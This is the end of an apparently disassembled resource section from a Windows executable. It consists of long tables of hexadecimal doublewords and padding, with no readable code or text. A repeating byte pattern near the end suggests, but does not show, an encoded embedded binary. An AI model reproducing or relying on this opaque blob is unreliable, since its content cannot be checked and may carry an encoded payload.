dd 8B30838Ah, 1E9B5DEDh, 7FC310D6h, 3BDC27A3h, 405F410Ah
dd 0EF2A404h, 0F8EB6DAFh, 0D4356247h, 0F77A759Bh, 0CC80502Dh
dd 112AB14Fh, 269C20FCh, 8387E118h, 663B9A5h, 7CBE148Eh
dd 2A91A726h, 0D46F49DBh, 8F9106CBh, 0F7EC101Dh, 0E90B6AA2h
dd 0FCA748C2h, 2FDB5272h, 3D6CA8B2h, 2F09B0B4h, 0EC4006FAh
dd 1E1593FBh, 55A1C015h, 0B826CB6Fh, 0B555019Fh, 93910226h
dd 0DF5B1849h, 5DD9286Ch, 0B49DC19Dh, 2B36C338h, 0BA0B4D4h
dd 8C99F19h, 601EF7A3h, 26A8FCC5h, 0D0894529h, 0CAE9B82Bh
dd 0B7DF59B2h, 9FDD306Dh, 0DE766288h, 0CC806BD3h, 0D5356163h
dd 3371A286h, 3FFBB829h, 0FDB608CCh, 997BD97Dh, 3EB833DDh
dd 9007DF36h, 256E4EE6h, 0FCA98BFFh, 0A251F2C0h, 0A6ED9861h
dd 728B2764h, 537845Fh, 0E85D3B8h, 0E0061A56h, 6209EFE1h
dd 1CE391BBh, 61BCC144h, 8A4F2811h, 88A55754h, 61B03E26h
dd 8E3541ACh, 5F97D1D5h, 0AA1B6399h, 2EA23E8Ah, 398DCB5Eh
dd 30DE60FDh, 44C197D5h, 1AF90C8Dh, 0C6F6B3D8h, 6B574A59h
dd 63A95F7Ch, 0EC45295Fh, 0C0DD61B0h, 961988F1h, 829437F4h
dd 544B4D4Dh, 0AE6EE318h, 349A5A6h, 72F8E51Ch, 0EC57A12Ah
dd 84B844D6h, 5B8B5D60h, 766E98CCh, 843F7F95h, 0DCC996E1h
dd 3DFE25D6h, 4AD97DFCh, 1ECF44F7h, 242CEBC0h, 0F78BFDC4h
dd 328FF991h, 0CBF72AE2h, 0CB30C7B7h, 0E0295516h, 0B845DA13h
dd 1908015Ah, 0A65D254Ah, 0B7D4D57Dh, 528479D0h, 14DA5032h
dd 4D35E3CAh, 415086AFh, 2E03CE6Ch, 60724ECBh, 299D5B32h
dd 0F8451B5Bh, 8D11F2A4h, 94AA9386h, 27CC10D8h, 50A14133h
dd 0BE89E0Ch, 6317FE82h, 9312AB40h, 185BB390h, 0B62E6771h
dd 0C4FFBC01h, 9C2DD6A1h, 48F06596h, 8A890DB7h, 6B5F5AB1h
dd 0A604AF15h, 489B3D6Eh, 6177A2E4h, 64DF8127h, 0D77B078h
dd 0D7F26217h, 0BE5C264Dh, 74B75148h, 0E60D726Fh, 0FBD72635h
dd 82516F91h, 0A7CD2AF2h, 4904C489h, 2CD64CC7h, 0A929CFBEh
dd 7ACC4655h, 9B6868C9h, 9F3485DDh, 1292A327h, 0FCAE228Bh
dd 0D444B39Bh, 0EECA0229h, 19647B35h, 0DED62DD0h, 7AE6B0E0h
dd 5B1F8F55h, 366CF7F6h, 0DD48065Ah, 9B2E52CBh, 30E3E736h
dd 0EE1D34DFh, 53E762EAh, 0F6FDD3D2h, 47D0BE2Eh, 1FBC1C6Fh
dd 0B49F682Ah, 7DBA48C4h, 1FF795Fh, 0A5E91Eh, 2C5B83BDh
dd 5291A70Ah, 4C859192h, 0A7017B09h, 6F16BA5Ah, 0A6F04E09h
dd 9B6705A3h, 0F8AA4C81h, 8FC23E1Ah, 0DDE2340Fh, 21ACE04Dh
dd 865EB46Ah, 0EBD076A4h, 7BC6F465h, 0DBE7BA78h, 0E7C6B073h
dd 0DEA4223Dh, 797DFFCFh, 0C8F6F261h, 0BDEE7327h, 0BB803C56h
dd 0B60EE057h, 8F4C1B2Bh, 0F0E1EFA9h, 0F4186E46h, 0C9425531h
dd 36F739E1h, 30C2A8BBh, 0F44F7FCAh, 7146EBF8h, 0A06BEAA9h
dd 0E7592F2Ch, 78242C0Bh, 9C64DB70h, 1C6BED3Dh, 0A74AB56Bh
dd 248FDB0Ah, 58573AACh, 8A9E7B27h, 0E94ADA73h, 0A28C71DAh
dd 0F003088Ch, 0EDEB268Fh, 41C2B2EBh, 1718C942h, 6E65E30Eh
dd 0C6A6FAF6h, 0ECF98F4Fh, 2355FD69h, 0C62E0704h, 0D0C8C65Eh
dd 52C1C709h, 2ABB7632h, 0A395136Bh, 905305E6h, 496ABB93h
dd 0D72CD17Ah, 767DEB18h, 0E08AEB4Dh, 0DD4E788Ch, 76B324E1h
dd 0E643A8h, 0E0033495h, 0FA5D0E6Fh, 73099AA2h, 0DCCF14DFh
dd 3B2B2DFDh, 42C307F1h, 26D4D932h, 6E7F7880h, 14E0444Dh
dd 2F825F0Fh, 764E7999h, 5618C260h, 0EB7B4D8Ch, 82697BEEh
dd 0C5AF0802h, 51E39D30h, 0C2760549h, 0EBB9DF35h, 0EFA2D1CAh
dd 6CEDEB79h, 4082733Eh, 96C9B38Ch, 410046B4h, 1CC15CFAh
dd 65028755h, 8A9946D8h, 1990F4D1h, 0B62D1214h, 499B3D6Eh
dd 0E786F5B0h, 74DFD026h, 0EA5837Bh, 858299A3h, 3AC99628h
dd 3B48BEF5h, 6B8C510Bh, 0F8FB543Ah, 82410714h, 0A41F1F9Ah
dd 0B89D6A48h, 853C526h, 95CF8914h, 27BA5h, 905D9B09h
dd 1147B70Ah, 4719B774h, 0D47F70BEh, 6B32837Ah, 80B34CF2h
dd 9A790FC4h, 115728DFh, 46BD027Eh, 0AFCEB9DFh, 62D86331h
dd 4BFF912h, 9E0EE7F8h, 20CAD9FBh, 7A3DBA1Ch, 0E55AEC7Ah
dd 82F86B40h, 0F6E6FD89h, 0A73107BDh, 3178B716h, 4E75FABCh
dd 64C3D596h, 0C719E618h, 0C67B8B6h, 0A544ECA2h, 28E969DBh
dd 74E947D4h, 0C20A640h, 14A8E4Bh, 9011740Eh, 0D67494BCh
dd 0BF472158h, 465F4B6Dh, 94A0354Eh, 865E08DBh, 142F8BD3h
dd 6CFD16D3h, 9EE8B526h, 32E74CB0h, 13689C36h, 8456F9CFh
dd 0D24A0D9Eh, 0B2A14750h, 1681B232h, 4AAFD0FEh, 87A39F05h
dd 1A307B59h, 1CE791BAh, 0BFA9DE30h, 0D8597553h, 7244DA44h
dd 7F4F791Bh, 9E356B75h, 0F727E656h, 0BA534B95h, 4C824C8Ah
dd 958DCB70h, 9B6B5C9Bh, 0E5657496h, 34A61DF7h, 3E75B3C8h
dd 7E574A86h, 15A95F7Ch, 2DEF59A9h, 1D22F45Dh, 0B8F9A59Bh
dd 4DC3B2E4h, 54EF51C6h, 16F06818h, 8B23E5B4h, 50789F06h
dd 2C57C10Eh, 0CE679060h, 11B84F2Dh, 0C9751537h, 942F111Fh
dd 0F6189868h, 0C27335D6h, 6EF5B4CAh, 4CCF74F9h, 0F57DEBC0h
dd 8DB9509h, 583A9704h, 3C45A8EAh, 3962B4BBh, 0A2CFD09Dh
dd 7FEE6FFCh, 8CE738CEh, 0A64D1B60h, 0A0DC2F8Ah, 7B8DB557h
dd 0A0EA5002h, 0F535E3CAh, 2092AD15h, 13ED1ACBh, 3C87B18Ah
dd 0D4E94B70h, 2A4539h, 7D2E8B8Fh, 97A3E25Bh, 0DC2E0BABh
dd 0B3B564BAh, 0D7E090A8h, 7C2E715Fh, 0CE507240h, 0EB4B9D5Ch
dd 3D7FF850h, 43722B63h, 0DE555269h, 0C9B1F0BCh, 8CFC7F4Ch
dd 0CA1FC353h, 3F5B39A4h, 6F73DA3Eh, 388E281Eh, 77C3A329h
dd 8B529332h, 2013AC52h, 1AD9AFACh, 0B9B20087h, 2280D2F3h
dd 0FBEB7DFCh, 82516F91h, 0CCB89AF2h, 0BEF53348h, 0D97B860Dh
dd 6A298C7Bh, 3C02065Ah, 175D9B0Fh, 5C3B9D8Eh, 0CAD27063h
dd 74CFE962h, 0D741E66Fh, 80A37566h, 9D0D0BCCh, 5B8CC9F8h
dd 0CDF7C4FFh, 48490953h, 0FBE404B4h, 954D159h, 5CD51E63h
dd 3210A556h, 81C2BCF7h, 58A2A6D2h, 0F5FD7B69h, 0FC5B7D2Eh
dd 6AB49C90h, 0B78F3920h, 5E2773B5h, 0CC46D696h, 7B99FF2Eh
dd 1C3D0AC2h, 64B11E2Bh, 7292AD6Eh, 5B0234DCh, 0A6DE51F8h
dd 0A6D6F018h, 14968EE6h, 0C2E90FFEh, 0BC47188Ah, 0F1589F1h
dd 0E2AB9E4Fh, 126875B1h, 90AA7E82h, 2E85B361h, 0B443B536h
dd 0B2B44C8Ah, 5A97717Ah, 2E88CC0h, 98CB1DA7h, 0C7A12574h
dd 0B3B9C7C6h, 4EEC572Dh, 74B3E506h, 800F8ADCh, 0CDE120Fh
dd 0B2385C10h, 0C81BADD7h
dd 97F15704h, 0F648E329h, 5827A93Ah, 0A968E2B4h, 786B28A6h
dd 0AEE1C320h, 25FE897h, 0F70FCFB5h, 0AF42DF96h, 248FDB2Eh
dd 81F1BCC8h, 2F2CBA5Ch, 0FAEB27C9h, 4E928EDAh, 69DD1B8Eh
dd 0B8F969BBh, 6484C8E4h, 0D9EFD97Ch, 7E078395h, 68B678F6h
dd 4BF99F0Eh, 0D357CB78h, 0D66FE735h, 7E1EB25Eh, 0D61770Ah
dd 947D2527h, 0B800EC68h, 3D7335F8h, 5A887729h, 4122E7Ah
dd 207DFB92h, 36796851h, 87329714h, 341FEBBEh, 0CE0D80B8h
dd 0BD435516h, 17986E86h, 8CE739C5h, 6742EB78h, 0A83EAD7Bh
dd 91414254h, 94A011B1h, 0FEB03287h, 0D3939573h, 698F01h
dd 5ADBC49Ah, 0DAB937F1h, 0FB0E2CA2h, 7D159FC4h, 91DAF6FDh
dd 51FF9630h, 0BF31DD49h, 74D830F3h, 3A6FCC15h, 2355E974h
dd 784B8D1Eh, 0CDDE021Ch, 4FC6CCADh, 5365776Ch, 0E0722D33h
dd 82D9F45Ch, 9A5D905Ch, 0E0185892h, 0B79B3D06h, 8B55CC4h
dd 8B9FBBA2h, 1E9B71EDh, 28C716D6h, 585912Dh, 0CFC21D35h
dd 0E099D63h, 71497DCh, 6DBE78FCh, 1CDC780Dh, 0BEF5333Ch
dd 7FEB74CDh, 8229DFFCh, 7C87F147h, 0AE5DABF2h, 283B9DBEh
dd 0C291A78Ch, 0D44B8BC2h, 0EEC4E620h, 80A09D76h, 0B6BB0FCCh
dd 8883ACAAh, 0C583F60Ch, 4177CD26h, 72E10FD4h, 5034F912h
dd 9548A3CCh, 561E245Ch, 2249AF25h, 23D8B11Dh, 0F6F9A931h
dd 8A5D7E2Fh, 43F31283h, 0B009820Ch, 0D38ED73Dh, 3D49C281h
dd 49971945h, 0C2CF2A2Eh, 24BC2C2h, 0C2C2662Ah, 0FD2B52C2h
dd 0A5C2C2C2h, 0C2F43DA6h, 9AEFF3C2h, 3BC3C2B6h, 0E44BA6A5h
dd 2F3C2C2h, 0AA929292h, 0C2C2C3C2h, 0C2C2AA92h, 0C2AA42C2h
dd 9242C2C2h, 0C282C2AAh, 0E2AA92C2h, 0AAC2C2C2h, 0C2C2E2C2h
dd 0D2FAD73Dh, 7F37C3C2h, 0C2C2C2C2h, 3B3EC229h, 0C2C28A2Ah
dd 4433BC2h, 0C2C2C2A3h, 0EB527B94h, 1945C2C2h, 5F793752h
dd 44C2C2C2h, 0A4C229C4h, 44521AEBh, 44152C4h, 143A4C3h
dd 4B8BC2FBh, 0BCB3B02h, 299C27B7h, 9F4952C2h, 4BA6A53Ah
dd 3BC2C2DCh, 3B0B373Ah, 45243D3Ah, 3D529C19h, 45194524h
dd 0E6864919h, 7A424DD2h, 0F3C2C2C2h, 19450102h, 1447C229h
dd 87438ACDh, 0EBA39235h, 40B04D9Dh, 0EF07BF79h, 0D31A13h
dd 65h dup(0)
dd 1500h dup(?)
_rsrc ends
end start